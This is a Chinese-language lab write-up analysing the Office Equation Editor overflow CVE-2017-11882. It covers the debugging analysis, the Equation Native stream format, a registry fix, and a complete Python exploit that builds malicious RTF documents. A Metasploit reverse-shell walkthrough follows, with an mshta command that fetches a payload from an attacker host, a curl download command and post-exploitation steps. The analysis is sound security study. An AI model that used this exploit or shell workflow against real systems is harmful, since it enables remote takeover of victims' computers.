影响版本
Office 365
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016
漏洞原理分析: 参考文章 :CVE-2017-11882 漏洞分析总结
注:没给链接的工具可以网上搜搜,很多的
定位漏洞程序
打开能弹出计算器的poc文档 :
使用processhacker分析进程状态,发现calc由cmd打开,但是cmd却没有父进程,这不正常,至少有一个程序负责拉起cmd
使用pchunter查找父进程得到其PID但是找不到具体是什么
重新打开poc文档,pchunter得到PID + process monitor的树形控件定位到cmd父进程为EQNEDT32.exe
注册表新建ENQEDT32.EXE 并设置x32dbg为即时调试器(详细方法看文末的解决方案)
由于poc代码可以弹出计算器,猜测漏洞函数为WinExec
或者CreateProcess
之类的API
调试漏洞程序 打开poc文档,弹出x32dbg,ctrl + G
定位WinExec
位置并下断点
运行到断点,查看堆栈,找到函数的返回值00430C18 ,去看看
上图是调用WinExec
的地方,我们再看看是哪里转到这里来的,直接查看堆栈即可,找比刚刚地址更高的返回位置
注: 栈由高地址向低地址增长,所以前一个函数的返回地址应该在高地址
去看看004218E4 :
可以看到,调用的函数是4115A7 ,使用IDA静态分析这个函数(直接按g
输入地址),F5
反汇编:
strlen
、strcmp
都不可能导致栈溢出,所以推测应该是sub_41160F 有问题,去看看:
通读,发现第18行strcpy
没有使用安全函数并且没有对a1
的长度进行校验,对比汇编窗口的rep movsd 语句:
1 2 3 4 5 6 7 8 # 注意!32位不同于8086,不需要段寄存器,edi、esi直接就定位内存中的地址 rep movsb # 重复ecx次,每次将一个字节从esi到 edi rep movsw # 重复ecx次,每次将一个字从esi到 edi rep movsd # 重复ecx次,每次将两个字从esi到 edi # 执行完上述操作以后会对esi和edi进行修改: # DF = 0:esi和edi递增 # DF = 1:esi和edi递减
1 2 3 4 5 6 repne scasb # 作用:查看目标字符串是否含有某个字符 # rep就是repeate重复,ne就是not equal不相等;所以该指令的意思就是ecx != 0(即循环未结束)并且后面的两个值不相等(即ZF != 0) # scasb就是比较[edi]和al是否相等,会改变ZF的值;此外,还会依照如下规则修改edi的值: # DF = 0:inc edi # DF = 1:dec edi
回到x32dbg 动态分析sub_41160F ,给函数入口点和溢出点下断点,同时要对Win32Exec和之前提到的4115A7下断点 :
进入函数,重点关注函数的返回地址是否被覆盖,这里我使用了监视进行查看:
注: 函数的返回地址就是进入这个函数之后push ebp
还未执行时ESP
所指向的地址的数据
第一次运行过后发现函数返回值并没有被覆盖:
再次执行该函数,同样重点关注函数返回地址:
可以看到,第二次执行该函数时,函数的返回地址被修改:
可以看到返回值变成了0043C12 ,我们去看看这个地址,发现是WinExec
函数的地址,之后由WinExec
调用计算器程序:
使用Pestudio 查看ENQEDT32.EXE 的ALSR
与DEP
发现两个保护措施都是关闭的
分析poc代码的利用:定位到溢出点,双击&12
查看内存数据
下图中,r 是返回值,arg_0
、arg_4
、arg_8
是参数,上下两图可以看出缓冲区大小为28h - 5 + 1 = 24h
下图是第二次运行到溢出点之后的截图,根据rep movsd
我们知道注入的数据为ecx * 4B
即30h的内容(注:ecx = 12),根据EDI定位到内存数据,查看得到其注入的内容为cmd.exe /c calc.exe
另外,注意看最后4个字节数据(一组十六进制数就是一个字节,例如:6D,这就是一组即两个十六进制数,就是一个字节):倒过来看是 00 43 0c 12 ,这就是WinExec
的函数地址
理解RTF文档格式和Equation Native数据流 参考文章 :
【漏洞分析】CVE-2017-11882漏洞分析、利用及动态检测
Office系列漏洞之CVE-2017-11882
Equation Native数据流
Equation Native
数据流 = EQNOLEFILEHDR
+ MTEFData
MTEFData
= MTEFheader
+ MTEF Byte Stream
EQNOLEFILEHDR
固定为28字节:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 struct EQNOLEFILEHDR { WORD cbHdr; // 格式头长度,固定为0x1C。 DWORD version; // 固定为0x00020000。 WORD cf; // 该公式对象的剪贴板格式。 DWORD cbObject; // MTEF数据的长度,包括MTEF头部。 DWORD reserved1; // 未公开 DWORD reserved2; // 未公开 DWORD reserved3; // 未公开 DWORD reserved4; // 未公开 };
MTEFheader 固定为5字节:
byte
description
value
0
MTEF version
3
1
generating platform
0 for Macintosh, 1 for Windows
2
generating product
0 for MathType, 1 for Equation Editor
3
product version
3
4
product subversion
0A
MTEFByte Stream initial SIZE
开头,固定为0A
value
symbol
description
0
END
end of MTEF, pile, line, embellishment list, or template
1
LINE
line (slot) record
2
CHAR
character record
3
TMPL
template record
4
PILE
pile (vertical stack of lines) record
5
MATRIX
matrix record
6
EMBELL
character embellishment (e.g. hat, prime) record
7
RULER
ruler (tab-stop location) record
8
FONT
font name record
9
SIZE
general size record
10
FULL
full size record
11
SUB
subscript size record
12
SUB2
sub-subscript size record
13
SYM
symbol size record
14
SUBSYM
sub-symbol size record
重点注意 FONT record
,即value=0x08 :
Font record = tag(固定为8,占一个字节) + typeface(占一个字节) + style(占一个字节) + font_name(以0x00结尾的字符串)
typeface
和style
这两个字节的值不影响漏洞的触发
RTF文档格式(了解):
其中,objupdate
控制字来保证OLE
(Object Linking and Embedding:对象链接与嵌入)对象的自动更新和加载,从而触发漏洞代码执行。默认状态下Office文档中的OLE Object需要用户双击才能生效。将OLE Object的属性为自动更新,这样无需交互,点击打开文档后OLE Object对象会生效,从而执行恶意代码。
Oletools 包含一系列工具,包括rtfobj.py 和olebrowse.py 等
1 2 python rtfobj.py -s all C:\Users\DELL\Desktop\1.rtf // 缺少的依赖直接pip install
1 python oledir.py C:\Users\DELL\Desktop\note.doc_object_000000FE.bin
1 2 python olebrowse.py C:\Users\DELL\Desktop\note.doc_object_000000FE.bin
通过上面这幅图分析Equation Native
数据流:
开头的1C
是cbHdr
; // 格式头长度
地址0000 0008
开始的四个字节是 00 00 00 A9 ,即MTEF
结构的长度
地址0000 001C
开始,前五个字节是MTEF Header
然后是0A
对应initial Size
,之后有一个08
,对应FONT
的tag
:Font record = tag(固定为8,占一个字节) + typeface(占一个字节) + style(占一个字节) + font_name(以0x00结尾的字符串) ,font_name
中包含了攻击代码 "cmd.exe /c calc.exe"
poc代码解析: 看着很多很复杂,其实只要理解关键的地方就好,其余的不用过多关注
argsparse
是python的命令行解析的标准模块,内置于python,不需要安装。这个库可以让我们直接在命令行中就可以向程序中传入参数并让程序运行。使用方法如下:
1 2 3 4 5 6 7 8 9 10 import argparseparser = argparse.ArgumentParser() parser.add_argument('square' , type =int , help ="display a square of a given number" ) args = parser.parse_args() print (args.square ** 2 )
代码中的head
(默认的rtf文件头)、objclass
(公式对象)、tail
(rtf文件尾部)、stage1
(作者编写的shellcode的机器码)、payload
(Equation Native
数据流的EQNOLEFILEHDR
+ MTEF
头部和initial Size
与Font
的tag
)都是固定格式;
代码运行流程:
1 python2 Command109b_CVE-2017 -11882. py -c "cmd.exe /c calc.exe" -o cal.doc
创建解析对象并根据输入的命令解析参数
制作rft文件的头部,如果你传入了rtf
文件,就用该rtf
文件的头部信息;如果没有传就使用head
作为rtf文件头部信息
制作Equation Native
数据流:把使用者输入的-c
参数嵌入到Equation Native
数据流的FontName
当中,对应代码第57行
代码第58行:197(10进制) = A9(16进制) + 28(10进制) // A9
对应EQNOLEFILEHDR
的cbObject
值,即MTEF
的长度;28是EQNOLEFILEHDR
的固有长度
将制作好的文件保存到-o
参数指定的文件中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import argparseimport sysfrom struct import packhead=r'''{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}} {\*\generator Riched20 6.3.9600}\viewkind4\uc1 \pard\sa200\sl276\slmult1\f0\fs22\lang9''' objclass=r'''{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000000000000000008020cea5613cd30103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000001400000000000000010043006f006d0070004f0062006a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000001000000660000000000000003004f0062006a0049006e0066006f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000030000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff010000020800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000000000000000000000000000000000000000000000000000000000000000000000000000000300040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000''' tail=r''' 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004500710075006100740069006F006E0020004E00610074006900760065000000000000000000000000000000000000000000000000000000000000000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000C5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000050000000D0000004D45544146494C4550494354003421000035FEFFFF9201000008003421CB010000010009000003C500000002001C00000000000500000009020000000005000000020101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE0000000000009001000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A600190160A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A000000313131313131313131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB021000070000000000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F0010000030000000000 }{\result {\rtlch\fcs1 \af0 \ltrch\fcs0 \dn8\insrsid95542\charrsid95542 {\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}} {\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLockAspectRatio}{\sv 1}}{\sp{\sn pictureGray}{\sv 0}}{\sp{\sn pictureBiLevel}{\sv 0}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fFilled}{\sv 0}}{\sp{\sn fHitTestFill}{\sv 1}} {\sp{\sn fillShape}{\sv 1}}{\sp{\sn fillUseRect}{\sv 0}}{\sp{\sn fNoFillHitTest}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn fReallyHidden}{\sv 0}} {\sp{\sn fScriptAnchor}{\sv 0}}{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0 \picw353\pich600\picwgoal200\pichgoal340\wmetafile8\bliptag1846300541\blipupi2307{\*\blipuid 6e0c4f7df03da08a8c6c623556e3c652}0100090000035100000000001200000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b02 00000000050000000c02200240011200000026060f001a00ffffffff000010000000c0ffffffaaffffff00010000ca0100000b00000026060f000c004d61746854797065000040000a00000026060f000a00ffffffff010000000000030000000000}}}}\par} ''' stage1="\xB8\x44\xEB\x71\x12\xBA\x78\x56\x34\x12\x31\xD0\x8B\x08\x8B\x09\x8B\x09\x66\x83\xC1\x3C\x31\xDB\x53\x51\xBE\x64\x3E\x72\x12\x31\xD6\xFF\x16\x53\x66\x83\xEE\x4C\xFF\x10" stage1=stage1.ljust(44 ,'\x90' ) def genrtf (cmd,r_head ): if len (cmd) > 109 : print "[!] Primitive command must be shorter than 109 bytes" sys.exit(0 ) payload='\x1c\x00\x00\x00\x02\x00\x9e\xc4\xa9\x00\x00\x00\x00\x00\x00\x00\xc8\xa7\\\x00\xc4\xee[\x00\x00\x00\x00\x00\x03\x01\x01\x03\n\n\x01\x08ZZ' payload+=stage1 payload+=pack('<I' ,0x00402114 ) payload+='\x00' *2 payload+=cmd payload=payload.ljust(197 ,'\x00' ) return r_head+objclass+payload.encode('hex' )+tail def getrheader (file ): input_file = open (file,"r" ).read() r_header = input_file.split("{\*\datastore" )[0 ] return r_header if __name__ == '__main__' : parser = argparse.ArgumentParser(description="PoC for CVE-2017-11882" ) parser.add_argument("-c" , "--cmd" , help ="Command run in target system" , required=True ) parser.add_argument('-o' , "--output" , help ="Output exploit rtf" , required=True ) parser.add_argument("-i" , "--input" , help ="Input normal rtf." , required=False ) args = parser.parse_args() if args.input != None : r_header = getrheader(args.input ) else : r_header = head with open (args.output,'wb' ) as f: f.write(genrtf(args.cmd,r_header)) f.close() print "[*] Done ! output file --> " + args.output
远程下载 这里给一个远程下载的示例
命令 1 2 # 这里使用109或605字节版本的poc均可 python2 Command109b_CVE-2017-11882.py -c 'cmd.exe /k "md d:\demo&cd /d d:\demo&curl https://down.52pojie.cn/Tools/PEtools/LordPE.7z -o LordPE.zip"' -o 11882-6.doc
cmd用法参照 1 2 3 CMD /C 执行完关闭cmd窗口 /K 执行完保留cmd窗口
多条命令执行
aa && bb :执行aa,成功后再执行bb
aa || bb :先执行aa,若执行成功则不再执行bb,若失败则再执行bb
aa & bb :先执行aa再执行bb,无论aa是否成功
PS: 本地捆绑的尝试可以看看利用CVE-2017-11882尝试本地捆绑
漏洞复现 参考文章 :[漏洞复现] CVE-2017-11882 通杀所有Office版本 Office系列漏洞之CVE-2017-11882
准备工作
流程
将poc代码 和组件 下载到kali
把cve_2017_11882.rbcopy
移动到kali的/usr/share/Metasploit-framework/modules/exploits/windows/smb
把cve-2017-11882.rtf
移动到kali的/usr/share/metasploit-framework/data/exploits
1 2 # 进入Metasploit框架,在kali终端输入命令: msfconsole
1 2 # 使用CVE-2017-11882.rb模块 use exploit/windows/smb/cve_2017_11882
1 2 # 设置tcp反弹会话 set payload windows/meterpreter/reverse_tcp
1 2 # 设置渗透机ip地址(这里通过ifconfig命令查看) set lhost 攻击机ip
1 2 # 设置路径为11882,可自定义 set uripath 11882
1 2 # 开启渗透,进入监听状态,只能开一个 exploit
1 2 3 python2 Command109b_CVE-2017 -11882. py -c "mshta http://渗透机ip:8080/11882" -o 11882. doc
将doc文档移动到win7并打开,即可看到kali的监听端出现win7的shell
成功截图
后续操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 通过命令sessions查看meterpreter会话: sessions # 进入会话 sessions id(1或2或3...) # 查看系统信息 sysinfo # 查看当前用户 getuid # 截屏 screenshot # 进入windows命令行窗口 shell
漏洞修复:取消该模块的注册 1 2 3 reg add "HKLM\SOFTWARE\MICROSOFT\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400 reg add "HKLM\SOFTWARE\Wow6432Node\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
小结: Winexec
:主要用于运行exe文件
1 UINT Winexec (exePath, ShowCmd) ;
CreateProcess
:用于创建一个新的进程和它的主线程,这个新进程运行指定的可执行文件
x32dbgctrl + G
: 输入函数名可以定位函数位置,或者输入内存地址可以进行跳转
进入函数时(第一个push还未执行)的ESP就是这个函数的返回地址,可以使用监视一直盯着这个地址的值看是否被改变
ESP
、EBP
指向的是存有数据的地址。你想嘛,mov eax, [ebp] 这个操作是不会修改ebp的值的,所以ebp指向的肯定是有效地址而非一个空位置
3CDaemon FTP使用教程 :主机搭建FTP服务器供虚拟机访问,Vmware tools
用不了的时候可以用这个传文件
1 2 3 4 5 6 7 lea eax, [ebx+8] # lea就是load effective address,加载有效地址 # 上述语句的意思是:将ebx+8赋给eax # 与mov区别: mov eax, [ebx+8] # 该语句是将地址为ebx+8的数据赋给eax
遇到别的问题的解决方案: